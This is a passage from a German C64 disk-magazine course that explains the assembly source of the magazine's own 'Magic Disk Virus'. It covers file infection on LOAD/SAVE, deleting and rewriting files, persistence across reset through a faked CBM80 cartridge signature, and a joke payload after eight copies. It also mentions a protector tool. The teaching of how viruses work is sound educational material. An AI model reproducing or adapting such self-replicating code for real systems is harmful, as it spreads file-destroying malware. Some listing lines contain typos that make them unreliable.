Bytes (so lang darf der Filename maximal sein) für den Filenamen Platz sind.
Warum in diese Adresse "+2" gespeichert werden muß und nicht gleich an die Adresse NAMEBUF, wird später noch erklärt. Jetzt wird erst der Akkuinhalt wieder vom Stack geholt und weiter geht's mit den Betriebssystemrou- tinen. Hiermit wären wir auch gleichzeitig am Ende dieses Kursteils angekommen. Nächsten Monat wollen wir dann die Fortpflanzung endlich ganz abhaken. Bis dahin wünschen wir Ihnen jedenfalls viel Spaß beim Virenzüchten.
Heute sind wir am fünften und somit vorletzten Teil des Virenkurses angelangt. An dieser Stelle halten wir es für nötig, Ihnen zu sagen, wie Sie sich gegen den Magic Disk Virus schützen können. Zahlreiche Anrufe haben uns seit der Erstveröffentlichung des Virus erreicht. Alle hatten die Frage zum Inhalt, wie man sich gegen den Virus schützen kann oder wie man eine infizierte Diskette wieder bereinigt. Die Lösung dieses Problems heißt "Protector" und ist ein kleines Programm, daß Sie neben den Utilities und Games dieses mal auf der Magic Disk finden. Eine Anleitung erübrigt sich, da das Programm über eine gut dokumentierte Tastensteuerung verfügt. Starten Sie den Protector bitte aus dem Game-Menü oder "von Hand" durch: LOAD"PROTECTOR",8 und anschließendem RUN. Jetzt aber zurück zum eigent- lichen Kurs. Heute, beim 5. Teil des Virenkurses, wollen wir endlich das Thema Fortpflanzung abhaken. In den letz- ten Teilen hatten wir uns ja schon gründlich damit auseinandergesetzt. Fassen wir also zusammen: Wir wissen nun, daß sich unser Virus beim SAVEn eines Programms vermehren kann. Dies tut er, indem er sich VOR ein zu infizierendes Programm hängt. Soweit - sogut. Die Probleme, die auftreten, wenn er sich beim Laden vermehren soll, nämlich die Tatsache, daß der File- name mitgerettet werden muß, haben wir auch gemei- stert. Wir haben nun beim Ladevorgang den Filenamen sicher in einem Speicher stehen, so daß wir nun fort- fahren können mit dem Vorgang der Vermehrung beim Laden. Wie gesagt haben wir den Filenamen gerettet. Wie haben natürlich auch geprüft, ob unser Programm an den Basicstart ($0801) geladen wird, damit wir keine Daten zerstören können. Auch dies war der Fall, das heißt, alle Voraussetzungen, das File nun endgültig infizieren zu dürfen, sind erfüllt - bis auf eine, die wir aber erst testen können, nachdem wir das entsprechende Programm geladen haben. Erfüllen wir Ihm endlich diesen Wunsch und springen einmal zur Laderoutine. Anschließend haben wir dann erst einmal unser zu infizierendes Programm im Speicher stehen. Um dies etwas besser zu erläutern folgt zunächst erst einmal ein Auszug aus dem Sourcelisting: 1520 - jsr $f4e5 ;Sprung zur Laderoutine 1530 - bcc inftest ;wenn kein Fehler, dann weiter 1540 - rts ;sonst Goodbye... In Zeile 1520 sehen Sie den Sprung zur Laderoutine. Wenn der Prozessor von dort zurückkehrt, haben wir das Programm im Speicher. Da es aber nun auch sein kann, daß während dem Ladevorgang ein Fehler aufge- treten ist und somit eine Infektion verheerende Fol- gen haben könnte (Zerstörung von Daten!), müssen wir erst noch auf Fehler testen. Dies ist sehr einfach, da die Loadroutine im Carryflag die Information zurückgibt, ob beim Laden ein Fehler aufgetreten ist oder nicht. Bei einem Fehler ist dieses Flag gesetzt und das Virusprogramm wird abgebrochen. Ansonsten wird weiterverzweigt zur Routine INFTEST:
1610 - inftest ldy #17 ;Pointer laden 1620 - loop7 lda $0801,y ;Vergleichsbyte laden 1630 - cmp data,y ;und vergleichen 1640 - bne scratch ;ungleich, dann weiter 1650 - dey ;Zähler runterzählen 1660 - bpl loop7 ;und weiter 1670 - jmp ($a002) ;infiziert - auf BASIC
Wie der Name schon vermuten läßt, dient diese Routine dazu, zu testen, ob ein geladenes Programm schon in- fiziert ist. Dies geschieht, indem die Routine prüft, ob die ersten 18 Bytes des geladenen Programms mit den ersten 18 Bytes des Virus übereinstimmen. Daß nur die ersten 18 Bytes getestet werden, hängt mit dem Protector zusammen. WIrd mit ihm ein File ge- schützt, so werden vor dieses File die ersten 18 Bytes des normalen Virusprogramms gehängt. Beim Laden glaubt der Virus nun, daß er schon ein infiziertes Programm vor sich hätte und überspringt hier die Infizierung. Sollte eines der ersten 18 Bytes ungleich den ersten Virusbytes sein, so wird sofort zur nächsten Routine (SCRATCH) verzweigt. Andernfalls wird auf die Routine in $a002 verzweigt - das ist der normale Warmstart des Commodore-Basic. Nun eine kleine Einsicht in die SCRATCH-Routine:
1700 -scratch lda #01 ;Logische Filenummer 1710 - ldx #08 ;Devicenummer 1720 - ldy #15 ;Kanalnummer 1730 - jsr setpar ;Parameter setzen 1740 - lda lengnam ;Namenslänge laden 1750 - clc ;und 1760 - adc #02 ;2 addieren 1770 - ldx #<(namebuff) ;Buffer-LO laden 1780 - ldy #>(namebuff) ;Buffer-HI laden 1790 - jsr setnam ;Name setzen 1800 - jsr open ;File öffnen 1810 - lda #01 ;und File #1 1820 - jsr close ;wieder schließen
Diese Routine tut nichts anderes, als das File, daß unser Virus infizieren soll, von Diskette zu löschen, um das infizierte gleich danach wieder draufschrei- ben zu können. Dies funktioniert denkbar einfach: Wie wir ja wissen, würde in Basic die Befehlsfolge zum Löschen eines Files auf Diskette folgendermaßen aus- sehen:
OPEN 1,8,15,"S:FILENAME" : CLOSE 1
Und genau das tun wir auch in Assembler. Wir öffnen ein File mit den Parametern:
Logische Filenummer = 1 Geräteadresse = 8 Kanalnummer = 15 (=Befehlskanal)
Wie diese Parameter dann übergeben werden, wissen wir auch schon, nämlich mit der SETPAR-Routine im ROM des C64. Weiter geht es mit der Übergabe des Filenamens. Hier ist allerdings zu beachten, daß zur Länge des Filenamens 2 addiert werden muß, da der Name aufgrund des vorangestellten "S:" um 2 Zeichen länger wird. Dies geschieht in den Zeilen 1740 bis 1760. Die Spei- chervariable LENGNAM kennen wir ja schon; wir hatten darin die Länge des Filenamens zwischengespeichert. In den folgenden zwei Zeilen sehen Sie jetzt auch, warum wir beim Laden bei der Angabe des Filenamens NAMEBUFF+2 angeben mußten. Sehen Sie sich einmal fol- gende Zeilen an. Sie stehen ganz am Ende des Quell- codelistings:
10190 - namebuff .tx "s:" 10200 - ende .by 0
Wie man sieht, haben wir den Filenamen ab dem Label "ende" abgelegt, das heißt, wir haben den Filenamen direkt hinter den Text "S:" in den Speicher ge- schrieben. Dieser Text fängt genau beim Label NAMEBUFF an. Also steht nun im Speicher ab NAMEBUFF folgender Text: S:FILENAME (Filename steht für irgendeinen Namen) ...womit wir auch schon den Namen hätten, mit dem das zu Scratch-File geöffnet werden muß. Nun haben wir nur noch ein LO- und ein HI-Byte von NAMEBUFF zu laden und SETNAM aufzurufen, was in den Zeilen 1770 bis 1790 geschieht. Als nächstes rufen wir die OPEN-Routine des Betriebs- systems auf. Sie öffnet ein logisches File mit den durch SETPAR übergebenen Parametern und dem durch SETNAM festgelegten Namen. Anschließend wird gleich die CLOSE-Routine aufgerufen, die genauso funktio- niert wie der Basic-Befehl CLOSE, nur daß hier die Filenummer (in diesem Fall 1) im Akku übergeben wer- den muß (siehe Zeile 1810). Das wäre geschafft. Das alte Programm ist gelöscht, womit wir wieder Platz haben, das neue (infizierte) Programm abzuspeichern. Vorher müssen wir allerdings noch etwas berücksichtigen: Es könnte ja sein, daß der User, der sein Prorgramm laden wollte, den Joker "*" benutzt hat, um den Programmnamen abzukürzen. Um zum Beispiel "FILENAME" zu laden, hat er einfach nur LOAD"FIL*",8 eingegeben. Wir wissen aber, daß man keinen Programmnamen, der einen "*"- oder "?"-Joker enthält, beim SAVEn eines Programmes nicht verwenden darf. Die Floppy würde einen SYNTAX ERROR zurücksenden. Um diesen Effekt zu verhindern, dient die nun folgende Routine (sie folgt direkt im Anschluß an die SCRATCH-Routine):
1840 - ldy lengnam ;Länge als Zeiger 1850 - lda namebuff+1,y ;letztes Zeichen 1860 - cmp #"*" ;vergleiche mit "*" 1870 - bne cont ;ungleich 1880 - dey ;Zeiger runterzählen
In Zeile 1840 laden wir die Länge des Filenamens in das Y-Register. Wir benutzen es nun als Pointer und holen uns das letzte Byte aus dem Namenspuffer (hier heißt es NAMEBUFF+1). Dann wird mit dem Stern (*) verglichen. Ist das letzte Zeichen kein Stern, so wird weiterverzweigt zur Routine CONT. Andernfalls wird die Filenamenlänge im Y-Register um 1 herunter- gezählt, um den Joker auszuschließen. Dann geht es ebenfalls weiter mit der Routine CONT. Das zu infizierende Programm wird nun unter einem kürzeren Namen abgespeichert, in unserem Beispiel ist es der Name "FIL". Das könnte einen User stutzig machen, doch ist es die einzige Möglichkeit, das File wiedererkennbar abzuspeichern. Doch nun weiter mit CONT. Da wir nun alle einleiten- den Schritte erledigt haben, können wir gleich beim SAVEn fortfahren. Dazu rufen wir einfach die Routine SAVE des Betriebssystems auf, welche ein Programm auf Diskette abspeichert. Das ist genau die Routine, die wir schon früher so modifiziert haben, daß sich unser Virus vor das abzuspeichernde Programm hängt. Wir rufen also ganz normal SAVE auf - der Virus übernimmt dann schon den Rest. Hier wieder ein kleiner Auszug aus dem Source- Listing. Wie die SAVE-Routine funktioniert, haben wir ja im 2. Teil des Kurses bereits ausführlich bespro- chen.
1920 -cont tya ;Namenslänge in Akku 1930 - ldx #<(namebuff)+2 ;Namenspuffer LO 1940 - ldy #>(namebuff)+2 ;Namenspuffer HI 1950 - jsr setnam ;Name setzen 1951 - ldx #08 ;Geräteadresse laden 1952 - jsr setpar ;Parameter setzen 1960 - ldx #01 ;Startadresse LO und 1970 - ldy #08 ;HI laden 1980 - stx $c1 ;und 1990 - sty $c2 ;abspeichern 2000 - ldx $ae ;Endadresse LO und 2005 - ldy $af :HI laden 2010 - jsr save ;SAVE aufrufen 2020 - jmp saveerror ;und weiter...
Wie Sie sehen, ein ganz normaler Aufruf, so wie wir ihn auch in Teil 2 schon hatten. Nur am Schluß wird weiterverzweigt auf SAVEERROR; die letzte Routine, die wir heute besprechen wollen:
2211 -saveerror lda status ;Status laden 2212 - bne shit ;<>, dann Fehler 2213 - rts ;nicht, dann fertig 2214 -shit lda #<(errortext);Text LO 2215 - lda #>(errortext);Text HI 2217 - jmp strout ;und ausdrucken
Diese Routine fragt das Statusbyte ab, das haargenau der Statusvariablen ST in Basic entspricht. Ist ein Fehler beim SAVEn aufgetreten, z.B. DISK FULL oder ähnliches, so ist hier irgendein Bit gesetzt. Ist das der Fall, so wird weiterverzweigt zum Label SHIT. Dort wird dann - wieder mit einer Betriebssystemrou- tine, nämlich STROUT - ein Text ausgegeben. Der aus- zugebende Text steht in den Zeilen 10075 bis 10120:
10075 -errortext .by 13 10080 -.tx "Der Magic Disk-Virus ist in diesem" 10081 -.by 13 10090 -.tx "C64!!! Daten wurden zerstört !" 10091 -.by 13 10100 -.tx "Bitte Programm auf einer anderen Disk" 10101 -.by 13 10110 -.tx "abspeichern !!!" 10120 -.by 13,14,0
Der Bytewert 13 steht für Carriage Return, um den Text ein wenig zu formatieren. Die 14 am Ende schal- tet auf Kleinschrift um. STROUT kehrt nach dem Aus- drucken dieses Textes zum normalen Basic zurück. Damit wären wir am Ende des 5. Teils angelangt. Im 6. und letzten Teil in der nächsten Ausgabe erfahren Sie noch etwas über die Initialisierungsroutine und das kleine Gag-Programm. Heute, im 6. und letzten Teil des Virenkurses wollen wir noch die bisher unbehandelten kleinen, aber nicht unwichtigen Routinen besprechen, die unserem Virus das Leben im C64 ermöglichen. Mittlerweile wissen wir ja schon, wie sich unser kleiner Freund vermehrt, nämlich mit Hilfe der LOAD- und SAVE-Vektoren, über die er sich sozusagen ins System "reinhängt" und sich somit bei einem Lade- oder Speichervorgang problemlos vor ein noch nicht infiziertes Programm hängen kann. Nun wollen wir uns mit der Initialisierungsroutine beschäftigen, die z.B. die Aufgabe hat, eben diese Vektoren zu "verbiegen". Der aufmerksame Leser wird sie sicher schon gefunden haben. Sie heißt sinniger- weise INIT und steht im Sourcelisting ab Zeile 2072:
2072 -init lda #01 ;Copyzähler 2073 - sta copy ;initialisieren
In diesen zwei Zeilen wird der Zähler für die Anzahl der bisher gemachten Kopien des Virus auf 1 gesetzt. Dieser Zähler ist ein einzelnes Byte im Quelltext (bei Zeile 2203), das jedesmal, wenn sich der Virus erfolgreich kopiert hat um 1 erhöht wird. Nach jeder Kopie prüft die Saveroutine nämlich, ob sich der Virus schon acht mal kopiert hat. Sollte dies der Fall sein, dann wird zu der bereits erwähnten Gag- routine verzweigt, die ab Zeile 5060 steht. Diese Routine läßt erst eine kleine Spriteanimation ablau- fen und teilt dem verdutzten C64-Besitzer dann die Existenz des Virus mit. Hier ein Auszug aus der Save- routine:
2810 - jsr savecont 2812 - jsr saveerror 2820 -; 2830 - asl copy ;copy linksrotieren 2840 - bcs gag ;Carry gesetzt, dann Gag 2850 - rts ;noch nicht 8 mal kopiert
Die Zeilen 2810 und 2812 kennen Sie ja noch aus der letzten Ausgabe, deshalb erfolgt hier keine Erklä- rung. In Zeile 2830 wird der Inhalt der Speicherzelle COPY nach links rotiert. Das heißt, daß der Startwert (nämlich 1), den wir am Anfang von INIT hineinge- schrieben hatten, solange weitergeschoben wird, bis er ins Carryflag überläuft. Und da ein Byte acht Bit besitzt, muß acht mal rotiert werden, damit dieser Fall eintritt. Wenden wir uns nun wieder der INIT-Routine zu:
2080 -init2 ldy #03 ;Zähler laden 2090 -loop3 lda tab,y ;Vektortabelle 2100 - sta $0330,y ;umkopieren 2110 - dey ;Zähler herunterzählen 2120 - bpl loop3 ;Fertig? 2130 -; 2140 - ldy #08 ;Ja -> Zähler laden. 2150 -loop4 lda cbm,y ;Reset-Kennung 2160 - sta $8000,y ;umkopieren 2170 - dey ;Zähler herunterzählen 2180 - bpl loop4 ;Fertig? 2190 -; 2200 - rts ;Feritg!
Hier wird nun zweimal eine Tabelle weiterkopiert. Und zwar nach dem selben Schema, nach dem wir auch den Filenamen in der LOAD-Routine umkopiert haben. In der ersten Schleife wird in die Bytes $0330 bis $0333 geschrieben. Dies sind die Bytes der LOAD- und SAVE-Vektoren (Load=$0330, $0331; Save=$0332, $0333). Sehen wir uns nun die Tabelle an, die umkopiert wird: 10070-tab .wo load,save Hier haben wir es wieder mit einem sog. Pseudo-Opcode des Hypra-Ass Assemblers zu tun. Genau wie man bei dem Opcode ".eq" einer Konstanten einen Wert zuweist oder mit ".by 255" den Assembler dazu veranlaßt, an diese Stelle den Wert 255 zu schreiben, so wird mit dem ".wo" (wie WOrd, was eine Bezeichnung für ein 16- Bit-Wort ist, sowie ".by" die Bezeichnung für ein Byte zu 8 Bit ist) eine Konstante bzw. in unserem Fall ein Label im LO/HI-Format hier abgelegt. Die zweite Schleife der INIT-Routine ist für den RESET-Schutz zuständig. In der RESET-Routine fragt das Betriebssystem die Speicherzellen $8004 bis $8008 ab, ob hier der ASCII-Code "CBM80" steht. Sollte dies der Fall sein, so glaubt das Betriebssystem, daß ein Modul in den Expansion-Port gesteckt ist und es wird über den Vektor in $8000/$8001 gesprungen, anstatt einen "normalen" Reset auszuführen. Diese Tatsache machen wir uns nun zu Nutze. Wir "simulieren" nämlich ein angestecktes Modul durch diese Kennung. Das Betriebssystem glaubt nun, es wäre ein Modul eingesteckt und springt über den Vektor in $8000/$8001, und damit genau in unsere eigene Virus- Resetroutine. Diese steht ab Programmzeile 930:
930 -reset stx $d016 ;Videocont. Steuerreg.2 940 - jsr $fda3 ;Interrupt vorbereiten 950 - jsr $fd50 ;RAM-Check 960 - jsr $fd15 ;Vektoren setzen 970 - jsr $ff5b ;Video-Reset 980 - cli ;IRQ zulassen 990 - jsr init2 ;Virus starten 1000 - jmp ($a000) ;BASIC-Kaltstart
Diese Routine ist fast gänzlich aus dem normalen Betriebssystem übernommen. Der einzige Unterschied ist hier die Zeile 990. Nachdem das Betriebssystem alle Vektoren wieder in den Originalzustand versetzt hat, müssen wir hier wieder den Virus initialisieren. Es wird hier nicht auf INIT gesprungen, sondern auf INIT2, da ja der Zähler für die Anzahl der schon ge- machten Kopien nicht neu gesetzt werden soll. Vor einem RESET braucht sich unser Virus also nicht mehr zu fürchten. Was ihm jetzt noch zustoßen könnte, wäre ein Druck auf die RUN/STOP-RESTORE-Tasten. Diese Kombination haben wir aber schon mit abgefan- gen, nämlich ebenfalls durch die CBM80-Kennung. Ist diese vorhanden, so wird über den Vektor $8002/$8003 gesprungen, der natürlich ebenfalls in unser Virus- programm zeigt. Und zwar auf die Routine, die ab Zeile 840 im Quellisting steht:
840 -restore jsr $fd15 850 - jsr $fda3 860 - jsr $e518 870 - jsr init2 880 - jmp ($a002)
Gleiches Spiel wie bei RESET, nur weniger aufwendig, da hier weniger passiert. Es folgt nun die Tabelle, die in der INIT-Routine um- kopiert wird:
10050-cbm .wo reset,restore 10060- .tx "CBM80"
Jetzt möchte ich Ihnen noch die Funktion der Routinen ganz am Anfang des Sources erklären. Werfen wir einmal einen kleinen Blick auf den Beginn des Listings:
140 -data .by $15,$08,$0a,$00,$93 150 -.tx "2071:md-virus!" 160 -.by 0,0,0 170 -;******************************** 180 -copyup lda $af 190 - pha 200 - nop 210 - ldy #$08 220 - stx $5f 230 - sty $60 240 - ldx #<(realend) 250 - ldy #>(realend) 260 - stx $5a 270 - sty $5b 280 - ldx #$f0 290 - ldy #$cf 300 - stx $58 310 - sty $59 320 - jsr $a3bf 330 - jmp xxxx
Dies sind die ersten Bytes unseres Virus, die auch als allererstes an die Floppy geschickt werden, wenn unser kleiner Freund sich fortpflanzt. Die ersten drei Zeilen stellen folgendes Basicprogramm dar: 10 SYS2071:MD-VIRUS! Mit dem SYS-Befehl wird die in Zeile 180 folgende COPYUP-Routine aufgerufen. Der Text "MD-VIRUS!" hat nur eine kommentierende Wirkung. In jener COPYUP-Rou- tine wird als erstes der Virus in einen Speicherbe- reich kopiert, wo er etwas sicherer aufgehoben ist, nämlich in den Bereich $cbaf bis $cff0. Dies geschieht mit Hilfe einer Routine aus dem BASIC-ROM, nämlich der Routine MOVE. Sie wird folgendermaßen aufgerufen: $5f/$60 : Startadresse des zu kopierenden Blocks $5a/$5b : Endadresse des zu kopierenden Blocks $58/$59 : Neue Endadresse des zu kopierenden Blocks Startadresse: $a3bf Nachdem der Virus kopiert ist, muß dieser das infi- zierte Programm wieder nach unten kopieren, nämlich an den normalen Basic-Start $0801. Dies macht die folgende Routine:
350 -start lda #$36 360 - sta $01 370 -; 371 - ldx #00 372 - ldy #08 373 - stx lab5+1 374 - sty lab5+2 380 - ldx #<(realend) 390 - ldy #>(realend) 400 - stx $fb 410 - sty $fc 420 - ldx $ae 421 - ldy $af 423 - stx $f9 424 - sty $fa 460 -; 470 - ldy #00 475 - ldx #01 480 -loop8 lda ($fb),y 490 -lab5 sta $0801,x 500 - inx 510 - bne lab4 520 - inc lab5+2 530 -lab4 jsr inccount 540 - bcc loop8 640 -; 660 - ldy lab5+2 670 - stx $ae 680 - sty $af 690 - stx $2d 700 - sty $2e 710 -; 720 - lda #$37 730 - sta $01 740 -; 750 - jst init 760 - jsr $a659 770 - jmp $a7ae
Diese Aufgabe kann allerdings nicht mehr von MOVE übernommen werden, da es auch sehr gut möglich sein kann, daß das infizierte Programm bis unter das ROM geht (ab $a000). Also muß dieses ROM weggeblendet werden, und wir müssen mit einer eigenen Routine ar- beiten. Diese steht hier in den Zeilen 480 bis 540. Die folgenden Zeilen haben noch die Aufgabe, die Basic-Vektoren neu auszurichten (Anfang und Ende des Programms), da das Programm durch den Virus ja länger wurde. In Zeile 720 bis 730 wird das Basic-ROM wieder eingeblendet, nachdem es in den Zeilen 350 und 360 ausgeschaltet wurde. Anschließend wird noch INIT auf- gerufen, um den Virus zu aktivieren. In den Zeilen 760 bis 770 wird dann ein RUN-Befehl ausgeführt, der das Programm ganz normal startet. Der Programmierung des kleinen "Gags" soll hier keine weitere Aufmerksamkeit geschenkt werden, da dies ja nur ein Nebeneffekt des Virus ist. Seine Programmie- rung ist außerdem nicht sehr kompliziert, so daß es jedem möglich sein sollte, diesen Programmteil zu durchschauen. Nun sind wir also am Ende unseres Virenkurses ange- langt. Ich hoffe, es hat Ihnen ein bißchen Spaß ge- macht, der Arbeitsweise eines Virusprogramms gedank- lich zu folgen. Sicher ist Ihnen aber auch einiges über die Funktionsweise eines Virusprogramms klar geworden. In diesem Sinne kann ich Ihnen nur noch viel Glück im "Kampf" gegen andere, nicht so harm- lose Viren wie den MDV wünschen. Sicher erinnern Sie sich noch an unsere Fragebogen- aktion in der Magic Disk. Bei der Auswertung dieser Aktion ist uns aufgefallen, daß es immer noch sehr viele C64-Besitzer gibt, die Anfänger auf dem Gebiet der Programmierung Ihres C64 sind. Aus diesem Grund haben wir uns entschlossen, die Rubrik "Kurs" in den nächsten Ausgaben nicht mehr so fachbezogen zu gestalten, sondern zunächst einen über mehrere Ausgaben gehenden Basic-Programmierkurs zu veröffentlichen. Damit kommen wir dem Wunsch vieler Leser nach, die zwar Programmieren lernen wollen, sich aber scheuen, den manchmal dichten Dschungel der Fachliteratur zu durchwandern. An den Basickurs werden sich dann wieder mehr fachbe- zogene Kurse anschließen. Mögliche Themen hierzu sind künstliche Intelligenz, Maschinensprache, Grafik und und und. Schreiben Sie uns Ihre Wünsche und Vorstel- lungen, denn Magic Disk 64 ist und bleibt ein Magazin von Lesern für Leser.